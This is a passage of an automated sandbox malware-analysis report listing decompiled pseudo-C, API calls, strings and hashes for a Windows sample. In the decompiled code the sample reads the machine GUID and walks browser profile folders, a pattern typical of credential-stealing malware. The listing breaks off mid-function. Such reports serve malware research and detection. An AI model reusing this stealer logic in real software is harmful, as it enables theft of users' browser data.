Instruction Fuzzy Hash: 95114C3DA80105BBDB11DBE5DC44EAEBBB8FBD9750F100054E914E2160DBB2EE05EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00A4A720() {
				void* _v8;
				int _v12;
				int _v16;
				long _t11;
				long _t14;
				char* _t19;

				_t19 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
				_v12 = 0x104;
				_v16 = 1;
				_t11 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Cryptography", 0, 0x20119,  &_v8); // executed
				_t14 = RegQueryValueExW(_v8,  *0xa4ea70, 0,  &_v16, _t19,  &_v12); // executed
				if(_t11 != 0 || _t14 != 0) {
					RegCloseKey(_v8);
				}
				return _t19;
			}

0x00a4a73c
0x00a4a741
0x00a4a75a
0x00a4a761
0x00a4a77f
0x00a4a783
0x00a4a78c
0x00a4a78c
0x00a4a797

APIs

RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 00A4A761
RegQueryValueExW.KERNELBASE(?,00000000,00000001,00000000,00000104), ref: 00A4A77F
RegCloseKey.ADVAPI32(?), ref: 00A4A78C

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 00A4A750

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Cryptography
API String ID: 3677997916-1514646153
Opcode ID: 443c99ed4b08685a5de38444c675c421a0df2b56e0fbafeaa33297d8a554b876
Instruction ID: 5e6c965b4f0757cdc5f7cb37d2f453d89885dd79c38e8505de1b004417e19381
Opcode Fuzzy Hash: 443c99ed4b08685a5de38444c675c421a0df2b56e0fbafeaa33297d8a554b876
Instruction Fuzzy Hash: 89F08C7EA80208BBEB20DBD4DC46F9E77B8FBC5740F100065FA11E6290D6B19E05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A323 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,0000020A,00000000,00000000,00A4776C), ref: 00A4A333
LocalFree.KERNEL32(00000000), ref: 00A4A378

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000), ref: 00A4A368

Strings

@Pz, xrefs: 00A4A34B

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$lstrlen$AllocGlobal
String ID: @Pz
API String ID: 3339188435-2242941348
Opcode ID: 0898637a0bce610cf1eec1bf3e823bef26c292e302449b99e014f927dacf7104
Instruction ID: 547a0caf4602b4a66f1b549c446c1d2daa94687d6919aae50d55ba99973f25fb
Opcode Fuzzy Hash: 0898637a0bce610cf1eec1bf3e823bef26c292e302449b99e014f927dacf7104
Instruction Fuzzy Hash: 13F0543D681221AFF320DBB49D08E7B6799EFEA7507114524F905DB250EA76DC0286B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A59A Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00A4A59A(char* __ecx) {
				short* _t7;
				int _t11;
				char* _t14;
				short* _t16;

				_t14 = __ecx;
				_t11 =  *((intOrPtr*)( *0xa4e18c))(__ecx);
				_t7 = LocalAlloc(0x40, 0x10 + _t11 * 2); // executed
				_t16 = _t7;
				MultiByteToWideChar(0xfde9, 0, _t14, 0xffffffff, _t16, _t11);
				_t16[_t11] = 0;
				return _t16;
			}

0x00a4a5a2
0x00a4a5ad
0x00a4a5b9
0x00a4a5bc
0x00a4a5c9
0x00a4a5d1
0x00a4a5da

APIs

LocalAlloc.KERNELBASE(00000040,?,?,00A44D69,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya), ref: 00A4A5B9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00795D58,000000FF,00000000,00000000,?,?,00A44D69,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000), ref: 00A4A5C9

Strings

edinayarossiya, xrefs: 00A4A5A1

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: AllocByteCharLocalMultiWide
String ID: edinayarossiya
API String ID: 3282395022-408023863
Opcode ID: d1cdb48c4459a9c25b5e00ef74d83e7150d9e875390fc538ee1fe3ccbb93a707
Instruction ID: 6e58ea0a6b3458df453767e2804e926d0ccdb822cceeb8b385474e121df1ac57
Opcode Fuzzy Hash: d1cdb48c4459a9c25b5e00ef74d83e7150d9e875390fc538ee1fe3ccbb93a707
Instruction Fuzzy Hash: DCE048793401507FE220D7E99C85FA76AA8FBCA771F540626F618D72F0D9E01C0187B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4839B Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00A4839B(void* __ecx) {
				WCHAR* _v8;
				void* __ebx;
				void* __esi;
				void* _t8;
				int _t9;
				void* _t17;
				void* _t23;
				void* _t32;
				void* _t37;
				void* _t39;
				void* _t41;
				void* _t43;

				_t8 = LocalAlloc(0x40, 0xff78); // executed
				L1();
				L1(); // executed
				_t23 = _t8;
				_t39 = _t37;
				_t18 = L"\r\n\r\n";
				_v8 = _t23;
				_t9 = lstrlenW(L"\r\n\r\n");
				_t3 = lstrlenW(_v8) + 0x80; // 0x80
				_t35 = _t3 + _t9;
				_t41 =  *((intOrPtr*)( *0xa4e048))(0x40, _t3 + _t9 + _t3 + _t9, _t32, _t39, _t17, _t23, _t43);
				E00A4186D(_t41, _t35, _v8);
				E00A4189A(L"\r\n\r\n", _t41, _t35, _t41, _t18);
				GlobalFree(_v8); // executed
				return _t41;
			}

0x00a483aa
0x00a483b0
0x00a483bc
0x00a483c6
0x00a483c8
0x00a4a5e8
0x00a4a5eb
0x00a4a5ee
0x00a4a5fd
0x00a4a603
0x00a4a610
0x00a4a616
0x00a4a620
0x00a4a628
0x00a4a634

APIs

LocalAlloc.KERNELBASE(00000040,0000FF78,8724643052,00A4760D), ref: 00A483AA

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

Strings

8724643052, xrefs: 00A483A0
, xrefs: 00A483C1

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: lstrlen$AllocFreeGlobalLocal
String ID: $8724643052
API String ID: 3873415381-3801464499
Opcode ID: 93a9263a7f2278d3cf50558aba5b36bc7c696005307d81415a5d48dc067f8b19
Instruction ID: 2673ba8070388e2293a72a28129663e87897dd0d68e72dc8b3ab42d7646bf14c
Opcode Fuzzy Hash: 93a9263a7f2278d3cf50558aba5b36bc7c696005307d81415a5d48dc067f8b19
Instruction Fuzzy Hash: 91D0A93C3C420007DBA4F3B84A55A6E12838BF9300B218838A2069F3C0DCB9CC02A383

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A5DB Relevance: 3.8, APIs: 3, Instructions: 38
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00A4A5DB(WCHAR* __ecx, WCHAR* __edx) {
				WCHAR* _v8;
				void* __ebx;
				void* __esi;
				int _t7;
				void* _t15;
				WCHAR* _t16;
				void* _t25;
				void* _t30;
				void* _t32;

				_t16 = __edx;
				_v8 = __ecx;
				_t7 = lstrlenW(__edx);
				_t3 = lstrlenW(_v8) + 0x80; // 0x80
				_t32 =  *((intOrPtr*)( *0xa4e048))(0x40, _t3 + _t7 + _t3 + _t7, _t25, _t30, _t15, __ecx);
				E00A4186D(_t32, _t28, _v8);
				E00A4189A(_t16, _t32, _t28, _t32, _t16);
				GlobalFree(_v8); // executed
				return _t32;
			}

0x00a4a5e8
0x00a4a5eb
0x00a4a5ee
0x00a4a5fd
0x00a4a610
0x00a4a616
0x00a4a620
0x00a4a628
0x00a4a634

APIs

lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
GlobalFree.KERNELBASE(?), ref: 00A4A628

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: lstrlen$FreeGlobal
String ID:
API String ID: 507983222-0
Opcode ID: 17154ba57d5d43d2e3a770c1ab47c32769f79c0eebb492262a56d945ffbd3884
Instruction ID: dc8c93485fbf2c9057747d698825bff49aff66eec3b411218a7644f51773178c
Opcode Fuzzy Hash: 17154ba57d5d43d2e3a770c1ab47c32769f79c0eebb492262a56d945ffbd3884
Instruction Fuzzy Hash: 83F0B475700114BBCB04E79A9C45D6EF7EEFFC4350B150065F405E3320DAB19E018A90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A41E26 Relevance: 76.1, APIs: 37, Strings: 6, Instructions: 812
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E00A41E26(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				signed int _v56;
				signed int _v60;
				void* _v64;
				signed int _v68;
				char _v72;
				intOrPtr _v76;
				void* _v80;
				intOrPtr _v84;
				signed int _v88;
				char _v92;
				WCHAR* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				void* _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				char _v744;
				void* _t245;
				void* _t247;
				void* _t249;
				void* _t255;
				void* _t257;
				void* _t259;
				void* _t261;
				void* _t263;
				signed int _t265;
				void* _t267;
				void* _t271;
				signed int _t277;
				void* _t284;
				void* _t286;
				void* _t292;
				void* _t294;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				int _t321;
				WCHAR* _t322;
				int _t324;
				WCHAR* _t325;
				void* _t334;
				void* _t336;
				void* _t337;
				void* _t339;
				void* _t340;
				char _t341;
				void* _t342;
				void* _t361;
				void* _t363;
				intOrPtr _t366;
				intOrPtr _t367;
				void* _t368;
				void* _t370;
				intOrPtr _t373;
				intOrPtr _t374;
				void* _t375;
				void* _t377;
				intOrPtr _t380;
				intOrPtr _t381;
				void* _t382;
				void* _t384;
				intOrPtr _t387;
				intOrPtr _t388;
				int _t396;
				WCHAR* _t397;
				int _t398;
				int _t399;
				WCHAR* _t400;
				int _t401;
				signed int _t403;
				signed int _t405;
				void* _t409;
				void* _t411;
				void* _t412;
				void* _t414;
				void* _t415;
				char _t416;
				void* _t417;
				signed int _t427;
				void* _t431;
				void* _t433;
				intOrPtr _t436;
				signed int _t437;
				void* _t438;
				void* _t440;
				intOrPtr _t443;
				signed int _t444;
				void* _t445;
				void* _t447;
				intOrPtr _t450;
				signed int _t451;
				void* _t452;
				void* _t454;
				intOrPtr _t457;
				signed int _t458;
				void* _t461;
				void* _t476;
				signed int _t507;
				void* _t536;
				intOrPtr _t541;
				intOrPtr _t543;
				intOrPtr _t546;
				intOrPtr _t548;
				intOrPtr _t551;
				intOrPtr _t553;
				intOrPtr _t556;
				intOrPtr _t558;
				void* _t564;
				intOrPtr _t569;
				intOrPtr _t571;
				intOrPtr _t574;
				intOrPtr _t576;
				intOrPtr _t579;
				intOrPtr _t581;
				intOrPtr _t584;
				intOrPtr _t586;
				void* _t588;
				void* _t589;
				void* _t591;
				void* _t595;
				void* _t598;
				void* _t617;
				signed int _t621;
				void* _t623;
				signed int _t634;
				void* _t636;
				void* _t644;
				void* _t648;
				void* _t651;

				_v100 = __edx;
				_t588 = 0x40;
				_v84 = 0;
				_v96 = __ecx;
				_t245 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x208);
				_t461 = _t245;
				_t247 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x208);
				_v44 = _t247;
				_t249 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x400);
				_v80 = _t249;
				_v28 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x100);
				if(_a12 != 0) {
					_t461 =  *((intOrPtr*)( *0xa4e13c))(_t461, __ecx);
					_t255 =  *((intOrPtr*)( *0xa4e01c))(_t461,  &_v744);
					__eflags = _t255 - 0xffffffff;
					if(_t255 == 0xffffffff) {
						return 0;
					}
					_t257 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x400);
					_v16 = _t257;
					_t259 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x80);
					_v36 = _t259;
					_t261 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x200000);
					_v48 = _t261;
					_v32 = _t261;
					_t263 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x200000);
					_v52 = _t263;
					_t265 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x800000);
					_v40 = _t265;
					_v88 = _t265;
					_t267 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x400000);
					_v12 = _v12 & 0x00000000;
					_v56 = _v56 & 0x00000000;
					_v60 = _t267;
					_v24 = _t267;
					_v84 = 1;
					_t271 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x400);
					_v20 = _t271;
					_v64 =  *((intOrPtr*)( *0xa4e048))(_t588, 0x1000);
					_t277 = E00A41C95(__ecx, _v36,  &_v44,  &_v80,  &_v28, _a12);
					_t644 = _t644 + 0x10;
					__eflags = _t277;
					if(__eflags == 0) {
						L20:
						LocalFree(_v48);
						LocalFree(_v40);
						LocalFree(_v60);
						LocalFree(_v20);
						LocalFree(_v64);
						LocalFree(_v36);
						_t284 = _v16;
						__eflags = _t284;
						if(_t284 != 0) {
							LocalFree(_t284);
						}
						goto L22;
					} else {
						_t606 = _v80;
						_t631 = _v44;
						_t498 =  &_v32;
						E00A427C6( &_v32,  &_v16, __eflags, __ecx, _v44, _v80, _a4);
						E00A42CC6( &_v88,  &_v16, __eflags, _t498, _t631, _t606, _a4);
						_t500 =  &_v24;
						E00A4376E( &_v24, _t631, _a4);
						_t501 =  &_v52;
						E00A43244( &_v52,  &_v16, __eflags, _t500, _t631, _t606, _a4);
						_t651 = _t644 + 0x38;
						_t396 = lstrlenW( *0xa4e210);
						_t397 = _v88;
						_v40 = _t397;
						_t398 = lstrlenW(_t397);
						__eflags = _t398 - _t396;
						if(_t398 >= _t396) {
							_t452 = E00A4A5DB(_v40, _t461);
							_t584 =  *0xa4e200; // 0x795ff8
							_t454 = E00A4A5DB(E00A4A5DB(_t452, _t584), _v16);
							_t586 =  *0xa4e200; // 0x795ff8
							_t501 = E00A4A5DB(E00A4A5DB(_t454, _t586), _v28);
							_v12 = 1;
							_t457 =  *0xa4e214; // 0x7a0ae8
							_v76 = _t457;
							_t458 =  *0xa4e1dc; // 0x795fb8
							_v72 = _t501;
							_v68 = _t458;
							asm("movsd");
							_v40 = _t501;
							asm("movsd");
							asm("movsd");
						}
						_t399 = lstrlenW( *0xa4e198);
						_t400 = _v32;
						_v48 = _t400;
						_t401 = lstrlenW(_t400);
						__eflags = _t401 - _t399;
						if(_t401 < _t399) {
							_t634 = _v12;
						} else {
							_t445 = E00A4A5DB(_v48, _t461);
							_t579 =  *0xa4e200; // 0x795ff8
							_t447 = E00A4A5DB(E00A4A5DB(_t445, _t579), _v16);
							_t581 =  *0xa4e200; // 0x795ff8
							_t501 = E00A4A5DB(E00A4A5DB(_t447, _t581), _v28);
							_t450 =  *0xa4e1cc; // 0x79eb58
							_v76 = _t450;
							_t451 =  *0xa4e1dc; // 0x795fb8
							_v72 = _t501;
							_v68 = _t451;
							_v48 = _t501;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t634 = _v12 + 1;
							_v12 = _t634;
						}
						_t588 = _v24;
						_v60 = _t588;
						_t403 =  *((intOrPtr*)( *0xa4e090))(_t588);
						__eflags = _t403;
						if(_t403 > 0) {
							_t438 = E00A4A5DB(_t588, _t461);
							_t574 =  *0xa4e200; // 0x795ff8
							_t440 = E00A4A5DB(E00A4A5DB(_t438, _t574), _v16);
							_t576 =  *0xa4e200; // 0x795ff8
							_t501 = E00A4A5DB(E00A4A5DB(_t440, _t576), _v28);
							_t443 =  *0xa4e220; // 0x79eb20
							_v76 = _t443;
							_t444 =  *0xa4e1dc; // 0x795fb8
							_v72 = _t501;
							_t588 = _v20 + _t634 * 0xc;
							_v68 = _t444;
							_v60 = _t501;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t634 = _v12 + 1;
							__eflags = _t634;
							_v12 = _t634;
						}
						_t405 =  *((intOrPtr*)( *0xa4e090))(_v52);
						__eflags = _t405;
						if(_t405 > 0) {
							_t431 = E00A4A5DB(_v52, _t461);
							_t569 =  *0xa4e200; // 0x795ff8
							_t433 = E00A4A5DB(E00A4A5DB(_t431, _t569), _v16);
							_t571 =  *0xa4e200; // 0x795ff8
							_t501 = E00A4A5DB(E00A4A5DB(_t433, _t571), _v28);
							_t436 =  *0xa4e208; // 0x7a4bb0
							_v76 = _t436;
							_t437 =  *0xa4e1dc; // 0x795fb8
							_v72 = _t435;
							_t588 = _v20 + _t634 * 0xc;
							_v68 = _t437;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t634 = _v12 + 1;
							__eflags = _t634;
							_v12 = _t634;
						}
						E00A43C9D(_a8, _v64,  &_v56, _t501, _v44);
						_t644 = _t651 + 0xc;
						__eflags = _t634;
						if(_t634 != 0) {
							L16:
							_t409 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
							_t411 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
							_t564 = 0x10;
							_t412 = E00A4A139(_t409, _t564);
							_v24 = _t412;
							_t414 =  *((intOrPtr*)( *0xa4e13c))(_t411,  *0xa4e204);
							_t588 = _v24;
							_t415 = E00A4A5DB(_t414, _t588);
							_v88 = _v88 & 0x00000000;
							_v32 = _t415;
							_t416 =  *0xa4e1f8; // 0x7960b8
							_v92 = _t416;
							_t417 = E00A4839B( &_v32);
							_v24 = _t417;
							_t636 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
							_t507 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t588, 0xffffffff, 0, 0, 0, 0);
							__eflags = _t507;
							if(_t507 != 0) {
								_t427 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t588, 0xffffffff, _t636, _t507, 0, 0);
								__eflags = _t427;
								if(_t427 != 0) {
									E00A47C6B(_v100, _t636, _v12, _v20, _v56, _v64, _v24,  &_v92);
									_t644 = _t644 + 0x18;
								}
							}
							LocalFree(_t636);
							LocalFree(_v24);
							LocalFree(_v32);
							LocalFree(_t588);
							goto L20;
						} else {
							__eflags = _v56 - _t634;
							if(_v56 <= _t634) {
								goto L20;
							}
							goto L16;
						}
					}
				} else {
					PathCombineW(_t461, __ecx, L"Default");
					L22:
					_t589 = _t588 | 0xffffffff;
					_v48 = _t589;
					do {
						_t286 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x400);
						_v16 = _t286;
						_t617 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x80);
						_v88 = _t617;
						if(_t589 != 0xffffffff) {
							wsprintfW(_t617, L"Profile %d", _t589);
							_t644 = _t644 + 0xc;
						} else {
							_t617 =  *((intOrPtr*)( *0xa4e13c))(_t617, L"Default");
							_v88 = _t617;
						}
						PathCombineW(_t461, _v96, _t617);
						_t292 =  *((intOrPtr*)( *0xa4e01c))(_t461,  &_v744);
						_t655 = _t292 - 0xffffffff;
						if(_t292 != 0xffffffff) {
							_t591 = 0x40;
							_t302 =  *((intOrPtr*)( *0xa4e048))(_t591, 0x200000);
							_v24 = _t302;
							_t304 =  *((intOrPtr*)( *0xa4e048))(_t591, 0x200000);
							_v64 = _t304;
							_t306 =  *((intOrPtr*)( *0xa4e048))(_t591, 0x800000);
							_v36 = _t306;
							_t308 =  *((intOrPtr*)( *0xa4e048))(_t591, 0x400000);
							_v84 = _v84 + 1;
							_v12 = _v12 & 0x00000000;
							_v60 = _v60 & 0x00000000;
							_v32 = _t308;
							_t310 =  *((intOrPtr*)( *0xa4e048))(_t591, 0x400);
							_v20 = _t310;
							_t312 =  *((intOrPtr*)( *0xa4e048))(_t591, 0x1000);
							_t466 = _v96;
							_v40 = _t312;
							E00A41C95(_v96, _t617,  &_v44,  &_v80,  &_v28, _a12);
							_t592 = _v80;
							_t618 = _v44;
							_t467 =  &_v24;
							E00A427C6( &_v24,  &_v16, _t655, _t466, _v44, _v80, _a4);
							E00A42CC6( &_v36,  &_v16, _t655, _t467, _t618, _t592, _a4);
							_t469 =  &_v32;
							E00A4376E( &_v32, _t618, _a4);
							_t470 =  &_v64;
							E00A43244( &_v64,  &_v16, _t655, _t469, _t618, _t592, _a4);
							_t648 = _t644 + 0x48;
							_t321 = lstrlenW( *0xa4e210);
							_t322 = _v36;
							_v52 = _t322;
							if(lstrlenW(_t322) >= _t321) {
								_t382 = E00A4A5DB(_v52, _t461);
								_t556 =  *0xa4e200; // 0x795ff8
								_t384 = E00A4A5DB(E00A4A5DB(_t382, _t556), _v16);
								_t558 =  *0xa4e200; // 0x795ff8
								_t470 = E00A4A5DB(E00A4A5DB(_t384, _t558), _v28);
								_v12 = 1;
								_t387 =  *0xa4e214; // 0x7a0ae8
								_v112 = _t387;
								_t388 =  *0xa4e1dc; // 0x795fb8
								_v108 = _t470;
								_v104 = _t388;
								asm("movsd");
								_v52 = _t470;
								asm("movsd");
								asm("movsd");
							}
							_t324 = lstrlenW( *0xa4e198);
							_t325 = _v24;
							_v56 = _t325;
							if(lstrlenW(_t325) < _t324) {
								_t621 = _v12;
							} else {
								_t375 = E00A4A5DB(_v56, _t461);
								_t551 =  *0xa4e200; // 0x795ff8
								_t377 = E00A4A5DB(E00A4A5DB(_t375, _t551), _v16);
								_t553 =  *0xa4e200; // 0x795ff8
								_t470 = E00A4A5DB(E00A4A5DB(_t377, _t553), _v28);
								_t380 =  *0xa4e1cc; // 0x79eb58
								_v124 = _t380;
								_t381 =  *0xa4e1dc; // 0x795fb8
								_v120 = _t470;
								_v116 = _t381;
								_v56 = _t470;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t621 = _v12 + 1;
								_v12 = _t621;
							}
							_t595 = _v32;
							_push(_t595);
							_v32 = _t595;
							if( *((intOrPtr*)( *0xa4e090))() > 0) {
								_t368 = E00A4A5DB(_t595, _t461);
								_t546 =  *0xa4e200; // 0x795ff8
								_t370 = E00A4A5DB(E00A4A5DB(_t368, _t546), _v16);
								_t548 =  *0xa4e200; // 0x795ff8
								_t470 = E00A4A5DB(E00A4A5DB(_t370, _t548), _v28);
								_t373 =  *0xa4e220; // 0x79eb20
								_v136 = _t373;
								_t374 =  *0xa4e1dc; // 0x795fb8
								_v132 = _t470;
								_v128 = _t374;
								_v32 = _t470;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t621 = _v12 + 1;
								_v12 = _t621;
							}
							_push(_v64);
							if( *((intOrPtr*)( *0xa4e090))() > 0) {
								_t361 = E00A4A5DB(_v64, _t461);
								_t541 =  *0xa4e200; // 0x795ff8
								_t363 = E00A4A5DB(E00A4A5DB(_t361, _t541), _v16);
								_t543 =  *0xa4e200; // 0x795ff8
								_t470 = E00A4A5DB(E00A4A5DB(_t363, _t543), _v28);
								_t366 =  *0xa4e208; // 0x7a4bb0
								_v148 = _t366;
								_t367 =  *0xa4e1dc; // 0x795fb8
								_v144 = _t365;
								_v140 = _t367;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t621 = _v12 + 1;
								_v12 = _t621;
							}
							E00A43C9D(_a8, _v40,  &_v60, _t470, _v44);
							_t644 = _t648 + 0xc;
							if(_t621 != 0 || _v60 > _t621) {
								_t334 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t336 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t536 = 0x10;
								_t337 = E00A4A139(_t334, _t536);
								_v36 = _t337;
								_t339 =  *((intOrPtr*)( *0xa4e13c))(_t336,  *0xa4e204);
								_t598 = _v36;
								_t340 = E00A4A5DB(_t339, _t598);
								_v68 = _v68 & 0x00000000;
								_v24 = _t340;
								_t341 =  *0xa4e1f8; // 0x7960b8
								_v72 = _t341;
								_t342 = E00A4839B( &_v24);
								_v36 = _t342;
								_t623 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
								_t476 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t598, 0xffffffff, 0, 0, 0, 0);
								if(_t476 != 0) {
									_push(0);
									_push(0);
									_push(_t476);
									_push(_t623);
									_push(0xffffffff);
									_push(_t598);
									_push(0);
									_push(0xfde9);
									if( *((intOrPtr*)( *0xa4e0e8))() != 0) {
										E00A47C6B(_v100, _t623, _v12, _v20, _v60, _v40, _v36,  &_v72);
										_t644 = _t644 + 0x18;
									}
								}
								LocalFree(_t623);
								LocalFree(_v36);
								LocalFree(_v24);
								LocalFree(_t598);
							}
							LocalFree(_v56);
							LocalFree(_v52);
							LocalFree(_v32);
							LocalFree(_v20);
							LocalFree(_v40);
							_t617 = _v88;
							_t589 = _v48;
						}
						LocalFree(_t617);
						_t294 = _v16;
						if(_t294 != 0) {
							LocalFree(_t294);
						}
						_t589 = _t589 + 1;
						_v48 = _t589;
					} while (_t589 < 0x64);
					LocalFree(_t461);
					LocalFree(_v44);
					LocalFree(_v28);
					LocalFree(_v80);
					return _v84;
				}
			}

0x00a41e3b
0x00a41e3e
0x00a41e41
0x00a41e4a
0x00a41e4d
0x00a41e54
0x00a41e5c
0x00a41e63
0x00a41e6c
0x00a41e73
0x00a41e82
0x00a41e85
0x00a41ea8
0x00a41eb1
0x00a41eb3
0x00a41eb6
0x00000000
